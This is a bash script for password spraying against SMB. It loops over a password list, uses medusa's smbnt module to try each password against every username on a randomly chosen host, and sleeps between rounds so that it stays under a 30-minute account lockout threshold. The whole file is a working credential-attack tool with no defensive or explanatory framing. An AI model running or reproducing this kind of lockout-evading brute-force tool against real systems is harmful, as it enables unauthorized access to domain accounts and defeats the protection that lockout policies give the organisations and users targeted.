#!/bin/bash

LOCKOUT_THRESH='30'
EXTRA='5'
LOOPS='3'

USER_FILE=$1
PASS_FILE=$2
HOST_FILE=$3
#DOMAIN=$4

LOCKOUT_TIME=$((((LOCKOUT_THRESH + EXTRA) * 60) / LOOPS))

cat $PASS_FILE | while read PASS; do
    START=$(date +'%s')

    cat $USER_FILE | while read USERNAME; do
        HOST=$(sort -R $HOST_FILE | head -1)
        medusa -M smbnt -h $HOST -u $USERNAME -p $PASS -m GROUP:DOMAIN
    done

    STOP=$(date +'%s')

    TIME_SPENT=$((STOP - START))
    TIME_LEFT=$((LOCKOUT_TIME - TIME_SPENT))

    if [[ $TIME_LEFT -gt 0 ]]; then
        echo
        echo "######### Sleeping $TIME_LEFT seconds"
        echo
        sleep $TIME_LEFT
    fi
done